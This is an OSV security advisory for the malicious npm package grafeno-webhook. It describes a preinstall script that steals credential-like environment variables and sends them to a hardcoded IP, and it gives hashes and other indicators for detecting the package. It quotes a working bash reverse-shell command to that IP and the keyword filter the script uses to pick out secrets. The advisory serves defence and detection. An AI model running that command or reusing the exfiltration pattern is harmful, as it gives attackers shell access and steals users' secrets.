MAL-2026-15573

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-webhook/MAL-2026-15573.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15573
Published
2026-08-29T23:11:06Z
Modified
2026-08-29T23:30:10.913819335Z
Summary
Malicious code in grafeno-webhook (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36)

The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019152",
            "modified_time": "2026-08-29T23:11:06Z",
            "import_time": "2026-08-29T23:14:43.842948635Z",
            "source": "amazon-inspector",
            "sha256": "79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-webhook

Package

Name
grafeno-webhook
View open source insights on deps.dev
Purl
pkg:npm/grafeno-webhook

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "grafeno-webhook-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-rdVmcmbHwyUZNeW5dUm2EsAMocRXEoVzKXFfcYNpULopY8LbsxWjzaT3hOxMEccdu48xZ27srAhCE1+Xv9ibrQ==",
                "sha1": "695054c59732e2164cbc49da3b08589767736079"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "preinstall.js",
            "tlsh": "51f0ddb551a971b4996289d0e292c477a1fbd2123521fad09a9800ba4e9225048f35ea",
            "sha256": "fe97adda118f1a4cd3ca1ac5523814e2db5ee22676fc56e212310039939dde24"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-webhook/MAL-2026-15573.json"